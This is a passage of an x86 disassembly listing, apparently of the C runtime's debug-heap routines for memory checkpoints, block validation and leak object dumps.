; sub_41D1D0+17Bj
mov [ebp+var_4], 0FFFFFFFFh
call sub_41D545
jmp short loc_41D550
sub_41D1D0 endp
; =============== S U B R O U T I N E =======================================
sub_41D545 proc near ; CODE XREF: sub_41D1D0+36Ep
; DATA XREF: _1:0043CAC8o
push 9
call sub_423320
add esp, 4
retn
sub_41D545 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D1D0
loc_41D550: ; CODE XREF: sub_41D1D0+373j
mov eax, [ebp+var_1C]
loc_41D553: ; CODE XREF: sub_41D1D0+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41D1D0
; ---------------------------------------------------------------------------
off_41D564 dd offset loc_41D2D4 ; DATA XREF: sub_41D1D0+82r
dd offset loc_41D2AC
dd offset loc_41D284
dd offset loc_41D259
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D580 proc near ; CODE XREF: sub_41E920+A0p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4517E0
mov [ebp+var_4], eax
cmp [ebp+arg_0], 0FFFFFFFFh
jz short loc_41D59B
mov ecx, [ebp+arg_0]
mov ds:dword_4517E0, ecx
loc_41D59B: ; CODE XREF: sub_41D580+10j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41D580 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CAD0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov eax, ds:dword_4517E0
and eax, 1
test eax, eax
jnz short loc_41D5E1
jmp short loc_41D648
; ---------------------------------------------------------------------------
loc_41D5E1: ; CODE XREF: _0:0041D5DDj
push 9
call sub_423280
add esp, 4
mov dword ptr [ebp-4], 0
mov ecx, ds:dword_4F32E8
mov [ebp-1Ch], ecx
jmp short loc_41D605
; ---------------------------------------------------------------------------
loc_41D5FD: ; CODE XREF: _0:loc_41D62Dj
mov edx, [ebp-1Ch]
mov eax, [edx]
mov [ebp-1Ch], eax
loc_41D605: ; CODE XREF: _0:0041D5FBj
cmp dword ptr [ebp-1Ch], 0
jz short loc_41D62F
mov ecx, [ebp-1Ch]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41D62D
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-1Ch]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_41D62D: ; CODE XREF: _0:0041D61Aj
jmp short loc_41D5FD
; ---------------------------------------------------------------------------
loc_41D62F: ; CODE XREF: _0:0041D609j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_41D63D
jmp short loc_41D648
; =============== S U B R O U T I N E =======================================
sub_41D63D proc near ; CODE XREF: _0:0041D636p
; DATA XREF: _1:0043CAD8o
push 9
call sub_423320
add esp, 4
retn
sub_41D63D endp
; ---------------------------------------------------------------------------
loc_41D648: ; CODE XREF: _0:0041D5DFj _0:0041D63Bj
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D660 proc near ; CODE XREF: sub_41D6B0+1Ep
; _0:0041D870p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jz short loc_41D69D
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call ds:dword_4F5470 ; IsBadReadPtr
test eax, eax
jnz short loc_41D69D
cmp [ebp+arg_8], 0
jz short loc_41D694
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F546C ; IsBadWritePtr
test eax, eax
jnz short loc_41D69D
loc_41D694: ; CODE XREF: sub_41D660+20j
mov [ebp+var_4], 1
jmp short loc_41D6A4
; ---------------------------------------------------------------------------
loc_41D69D: ; CODE XREF: sub_41D660+8j
; sub_41D660+1Aj ...
mov [ebp+var_4], 0
loc_41D6A4: ; CODE XREF: sub_41D660+3Bj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41D660 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D6B0 proc near ; CODE XREF: sub_41C3F0+1AAp
; sub_41CA80+9Cp ...
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp [ebp+arg_0], 0
jnz short loc_41D6C3
xor eax, eax
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D6C3: ; CODE XREF: sub_41D6B0+Aj
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_41D660
add esp, 0Ch
test eax, eax
jnz short loc_41D6E1
xor eax, eax
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D6E1: ; CODE XREF: sub_41D6B0+28j
cmp ds:dword_4F39EC, 3
jnz short loc_41D74E
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_4240F0
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41D71A
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_424150
add esp, 8
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D71A: ; CODE XREF: sub_41D6B0+50j
mov ecx, ds:dword_4F32F8
and ecx, 8000h
test ecx, ecx
jz short loc_41D734
mov eax, 1
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D734: ; CODE XREF: sub_41D6B0+78j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F5474 ; HeapValidate
jmp loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D74E: ; CODE XREF: sub_41D6B0+38j
cmp ds:dword_4F39EC, 2
jnz short loc_41D7BA
lea ecx, [ebp+var_8]
push ecx
lea edx, [ebp+var_10]
push edx
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call sub_426110
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_41D78D
mov ecx, [ebp+var_C]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_41D789
mov eax, 1
jmp short loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D789: ; CODE XREF: sub_41D6B0+D0j
xor eax, eax
jmp short loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D78D: ; CODE XREF: sub_41D6B0+C5j
mov eax, ds:dword_4F32F8
and eax, 8000h
test eax, eax
jz short loc_41D7A2
mov eax, 1
jmp short loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D7A2: ; CODE XREF: sub_41D6B0+E9j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5474 ; HeapValidate
jmp short loc_41D7D0
; ---------------------------------------------------------------------------
loc_41D7BA: ; CODE XREF: sub_41D6B0+A5j
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
push 0
mov ecx, ds:dword_4F39E8
push ecx
call ds:dword_4F5474 ; HeapValidate
loc_41D7D0: ; CODE XREF: sub_41D6B0+Ej
; sub_41D6B0+2Cj ...
mov esp, ebp
pop ebp
retn
sub_41D6B0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CAE0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov eax, [ebp+8]
push eax
call sub_41D6B0
add esp, 4
test eax, eax
jnz short loc_41D81A
xor eax, eax
jmp loc_41D8F4
; ---------------------------------------------------------------------------
loc_41D81A: ; CODE XREF: _0:0041D811j
push 9
call sub_423280
add esp, 4
mov dword ptr [ebp-4], 0
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-1Ch], ecx
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41D866
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 1
jz short loc_41D866
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41D866
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 3
jnz short loc_41D8D1
loc_41D866: ; CODE XREF: _0:0041D842j _0:0041D84Bj ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_41D660
add esp, 0Ch
test eax, eax
jz short loc_41D8D1
mov ecx, [ebp-1Ch]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_41D8D1
mov eax, [ebp-1Ch]
mov ecx, [eax+18h]
cmp ecx, ds:dword_4517E4
jg short loc_41D8D1
cmp dword ptr [ebp+10h], 0
jz short loc_41D8A6
mov edx, [ebp+10h]
mov eax, [ebp-1Ch]
mov ecx, [eax+18h]
mov [edx], ecx
loc_41D8A6: ; CODE XREF: _0:0041D899j
cmp dword ptr [ebp+14h], 0
jz short loc_41D8B7
mov edx, [ebp+14h]
mov eax, [ebp-1Ch]
mov ecx, [eax+8]
mov [edx], ecx
loc_41D8B7: ; CODE XREF: _0:0041D8AAj
cmp dword ptr [ebp+18h], 0
jz short loc_41D8C8
mov edx, [ebp+18h]
mov eax, [ebp-1Ch]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_41D8C8: ; CODE XREF: _0:0041D8BBj
mov dword ptr [ebp-20h], 1
jmp short loc_41D8D8
; ---------------------------------------------------------------------------
loc_41D8D1: ; CODE XREF: _0:0041D864j _0:0041D87Aj ...
mov dword ptr [ebp-20h], 0
loc_41D8D8: ; CODE XREF: _0:0041D8CFj
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_41D8E6
jmp short loc_41D8F1
; =============== S U B R O U T I N E =======================================
sub_41D8E6 proc near ; CODE XREF: _0:0041D8DFp
; DATA XREF: _1:0043CAE8o
push 9
call sub_423320
add esp, 4
retn
sub_41D8E6 endp
; ---------------------------------------------------------------------------
loc_41D8F1: ; CODE XREF: _0:0041D8E4j
mov eax, [ebp-20h]
loc_41D8F4: ; CODE XREF: _0:0041D815j
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F4A38
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4F4A38, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D930 proc near ; CODE XREF: sub_41E030+Dp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041DAC3 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CB38
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41D984
loc_41D959: ; CODE XREF: sub_41D930+4Dj
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D979
int 3 ; Trap to Debugger
loc_41D979: ; CODE XREF: sub_41D930+46j
xor eax, eax
test eax, eax
jnz short loc_41D959
jmp loc_41DAC3
; ---------------------------------------------------------------------------
loc_41D984: ; CODE XREF: sub_41D930+27j
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
mov ecx, [ebp+arg_0]
mov edx, ds:dword_4F32E8
mov [ecx], edx
mov [ebp+var_1C], 0
jmp short loc_41D9B2
; ---------------------------------------------------------------------------
loc_41D9A9: ; CODE XREF: sub_41D930+A4j
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_41D9B2: ; CODE XREF: sub_41D930+77j
cmp [ebp+var_1C], 5
jge short loc_41D9D6
mov ecx, [ebp+var_1C]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_1C]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_41D9A9
; ---------------------------------------------------------------------------
loc_41D9D6: ; CODE XREF: sub_41D930+86j
mov edx, ds:dword_4F32E8
mov [ebp+var_20], edx
jmp short loc_41D9E9
; ---------------------------------------------------------------------------
loc_41D9E1: ; CODE XREF: sub_41D930:loc_41DA8Dj
mov eax, [ebp+var_20]
mov ecx, [eax]
mov [ebp+var_20], ecx
loc_41D9E9: ; CODE XREF: sub_41D930+AFj
cmp [ebp+var_20], 0
jz loc_41DA92
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_41DA68
mov ecx, [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_41DA68
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_20]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_20]
add edx, [eax+10h]
mov ecx, [ebp+var_20]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_41DA8D
; ---------------------------------------------------------------------------
loc_41DA68: ; CODE XREF: sub_41D930+D0j
; sub_41D930+E1j ...
mov edx, [ebp+var_20]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DA87
int 3 ; Trap to Debugger
loc_41DA87: ; CODE XREF: sub_41D930+154j
xor eax, eax
test eax, eax
jnz short loc_41DA68
loc_41DA8D: ; CODE XREF: sub_41D930+136j
jmp loc_41D9E1
; ---------------------------------------------------------------------------
loc_41DA92: ; CODE XREF: sub_41D930+BDj
mov ecx, [ebp+arg_0]
mov edx, ds:dword_4F32F0
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, ds:dword_4F32E4
mov [eax+30h], ecx
mov [ebp+var_4], 0FFFFFFFFh
call sub_41DAB8
jmp short loc_41DAC3
sub_41D930 endp
; =============== S U B R O U T I N E =======================================
sub_41DAB8 proc near ; CODE XREF: sub_41D930+181p
; DATA XREF: _1:0043CB40o
push 9
call sub_423320
add esp, 4
retn
sub_41DAB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41D930
loc_41DAC3: ; CODE XREF: sub_41D930+4Fj
; sub_41D930+186j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41D930
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_41DB02
cmp dword ptr [ebp+0Ch], 0
jz short loc_41DB02
cmp dword ptr [ebp+10h], 0
jnz short loc_41DB30
loc_41DB02: ; CODE XREF: _0:0041DAF4j _0:0041DAFAj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DB22
int 3 ; Trap to Debugger
loc_41DB22: ; CODE XREF: _0:0041DB1Fj
xor eax, eax
test eax, eax
jnz short loc_41DB02
mov eax, [ebp-8]
jmp loc_41DBFC
; ---------------------------------------------------------------------------
loc_41DB30: ; CODE XREF: _0:0041DB00j
mov dword ptr [ebp-4], 0
jmp short loc_41DB42
; ---------------------------------------------------------------------------
loc_41DB39: ; CODE XREF: _0:loc_41DBC7j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41DB42: ; CODE XREF: _0:0041DB37j
cmp dword ptr [ebp-4], 5
jge loc_41DBCC
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_41DBA2
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_41DBC7
loc_41DBA2: ; CODE XREF: _0:0041DB93j
cmp dword ptr [ebp-4], 0
jz short loc_41DBC7
cmp dword ptr [ebp-4], 2
jnz short loc_41DBC0
cmp dword ptr [ebp-4], 2
jnz short loc_41DBC7
mov eax, ds:dword_4517E0
and eax, 10h
test eax, eax
jz short loc_41DBC7
loc_41DBC0: ; CODE XREF: _0:0041DBACj
mov dword ptr [ebp-8], 1
loc_41DBC7: ; CODE XREF: _0:0041DBA0j _0:0041DBA6j ...
jmp loc_41DB39
; ---------------------------------------------------------------------------
loc_41DBCC: ; CODE XREF: _0:0041DB46j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_41DBFC: ; CODE XREF: _0:0041DB2Bj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DC10 proc near ; CODE XREF: sub_41E030+5Cp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 0041DECC SIZE 00000037 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CC50
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov [ebp+var_20], 0
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
loc_41DC4B: ; CODE XREF: sub_41DC10+5Fj
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DC6B
int 3 ; Trap to Debugger
loc_41DC6B: ; CODE XREF: sub_41DC10+58j
xor eax, eax
test eax, eax
jnz short loc_41DC4B
cmp [ebp+arg_0], 0
jz short loc_41DC7F
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_20], edx
loc_41DC7F: ; CODE XREF: sub_41DC10+65j
mov eax, ds:dword_4F32E8
mov [ebp+var_1C], eax
jmp short loc_41DC91
; ---------------------------------------------------------------------------
loc_41DC89: ; CODE XREF: sub_41DC10:loc_41DEAEj
mov ecx, [ebp+var_1C]
mov edx, [ecx]
mov [ebp+var_1C], edx
loc_41DC91: ; CODE XREF: sub_41DC10+77j
cmp [ebp+var_1C], 0
jz loc_41DEB3
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_20]
jz loc_41DEB3
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_41DCE5
mov eax, [ebp+var_1C]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_41DCE5
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41DCEA
mov ecx, ds:dword_4517E0
and ecx, 10h
test ecx, ecx
jnz short loc_41DCEA
loc_41DCE5: ; CODE XREF: sub_41DC10+A6j
; sub_41DC10+B6j
jmp loc_41DEAE
; ---------------------------------------------------------------------------
loc_41DCEA: ; CODE XREF: sub_41DC10+C6j
; sub_41DC10+D3j
mov edx, [ebp+var_1C]
cmp dword ptr [edx+8], 0
jz short loc_41DD63
push 0
push 1
mov eax, [ebp+var_1C]
mov ecx, [eax+8]
push ecx
call sub_41D660
add esp, 0Ch
test eax, eax
jnz short loc_41DD34
loc_41DD0A: ; CODE XREF: sub_41DC10+120j
mov edx, [ebp+var_1C]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DD2C
int 3 ; Trap to Debugger
loc_41DD2C: ; CODE XREF: sub_41DC10+119j
xor ecx, ecx
test ecx, ecx
jnz short loc_41DD0A
jmp short loc_41DD63
; ---------------------------------------------------------------------------
loc_41DD34: ; CODE XREF: sub_41DC10+F8j
; sub_41DC10+151j
mov edx, [ebp+var_1C]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call sub_422610
add esp, 1Ch
cmp eax, 1
jnz short loc_41DD5D
int 3 ; Trap to Debugger
loc_41DD5D: ; CODE XREF: sub_41DC10+14Aj
xor eax, eax
test eax, eax
jnz short loc_41DD34
loc_41DD63: ; CODE XREF: sub_41DC10+E1j
; sub_41DC10+122j ...
mov ecx, [ebp+var_1C]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DD85
int 3 ; Trap to Debugger
loc_41DD85: ; CODE XREF: sub_41DC10+172j
xor eax, eax
test eax, eax
jnz short loc_41DD63
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41DE0D
loc_41DD9C: ; CODE XREF: sub_41DC10+1C8j
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41DDD4
int 3 ; Trap to Debugger
loc_41DDD4: ; CODE XREF: sub_41DC10+1C1j
xor edx, edx
test edx, edx
jnz short loc_41DD9C
cmp ds:dword_4F4A38, 0
jz short loc_41DDFC
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
add edx, 20h
push edx
call ds:dword_4F4A38
add esp, 8
jmp short loc_41DE08
; ---------------------------------------------------------------------------
loc_41DDFC: ; CODE XREF: sub_41DC10+1D1j
mov eax, [ebp+var_1C]
push eax
call sub_41DF10
add esp, 4
loc_41DE08: ; CODE XREF: sub_41DC10+1EAj
jmp loc_41DEAE
; ---------------------------------------------------------------------------
loc_41DE0D: ; CODE XREF: sub_41DC10+18Aj
mov ecx, [ebp+var_1C]
cmp dword ptr [ecx+14h], 1
jnz short loc_41DE53
loc_41DE16: ; CODE XREF: sub_41DC10+233j
mov edx, [ebp+var_1C]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 1Ch
cmp eax, 1
jnz short loc_41DE3F
int 3 ; Trap to Debugger
loc_41DE3F: ; CODE XREF: sub_41DC10+22Cj
xor edx, edx
test edx, edx
jnz short loc_41DE16
mov eax, [ebp+var_1C]
push eax
call sub_41DF10
add esp, 4
jmp short loc_41DEAE
; ---------------------------------------------------------------------------
loc_41DE53: ; CODE XREF: sub_41DC10+204j
mov ecx, [ebp+var_1C]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_41DEAE
loc_41DE64: ; CODE XREF: sub_41DC10+290j
mov eax, [ebp+var_1C]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_1C]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_1C]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41DE9C
int 3 ; Trap to Debugger
loc_41DE9C: ; CODE XREF: sub_41DC10+289j
xor edx, edx
test edx, edx
jnz short loc_41DE64
mov eax, [ebp+var_1C]
push eax
call sub_41DF10
add esp, 4
loc_41DEAE: ; CODE XREF: sub_41DC10:loc_41DCE5j
; sub_41DC10:loc_41DE08j ...
jmp loc_41DC89
; ---------------------------------------------------------------------------
loc_41DEB3: ; CODE XREF: sub_41DC10+85j
; sub_41DC10+91j
mov [ebp+var_4], 0FFFFFFFFh
call sub_41DEC1
jmp short loc_41DECC
sub_41DC10 endp
; =============== S U B R O U T I N E =======================================
sub_41DEC1 proc near ; CODE XREF: sub_41DC10+2AAp
; DATA XREF: _1:0043CC58o
push 9
call sub_423320
add esp, 4
retn
sub_41DEC1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41DC10
loc_41DECC: ; CODE XREF: sub_41DC10+2AFj
; sub_41DC10+2E0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41DEEC
int 3 ; Trap to Debugger
loc_41DEEC: ; CODE XREF: sub_41DC10+2D9j
xor ecx, ecx
test ecx, ecx
jnz short loc_41DECC
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41DC10
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DF10 proc near ; CODE XREF: sub_41DC10+1F0p
; sub_41DC10+239p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_41DF2B
; ---------------------------------------------------------------------------
loc_41DF22: ; CODE XREF: sub_41DF10+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_41DF2B: ; CODE XREF: sub_41DF10+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_41DF3F
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_41DF46
; ---------------------------------------------------------------------------
loc_41DF3F: ; CODE XREF: sub_41DF10+22j
mov [ebp+var_54], 10h
loc_41DF46: ; CODE XREF: sub_41DF10+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_41DFEC
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp ds:dword_453DF0, 1
jle short loc_41DF83
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_58], eax
jmp short loc_41DFA0
; ---------------------------------------------------------------------------
loc_41DF83: ; CODE XREF: sub_41DF10+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_41DFA0: ; CODE XREF: sub_41DF10+71j
cmp [ebp+var_58], 0
jz short loc_41DFB4
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_41DFBB
; ---------------------------------------------------------------------------
loc_41DFB4: ; CODE XREF: sub_41DF10+94j
mov [ebp+var_5C], 20h
loc_41DFBB: ; CODE XREF: sub_41DF10+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
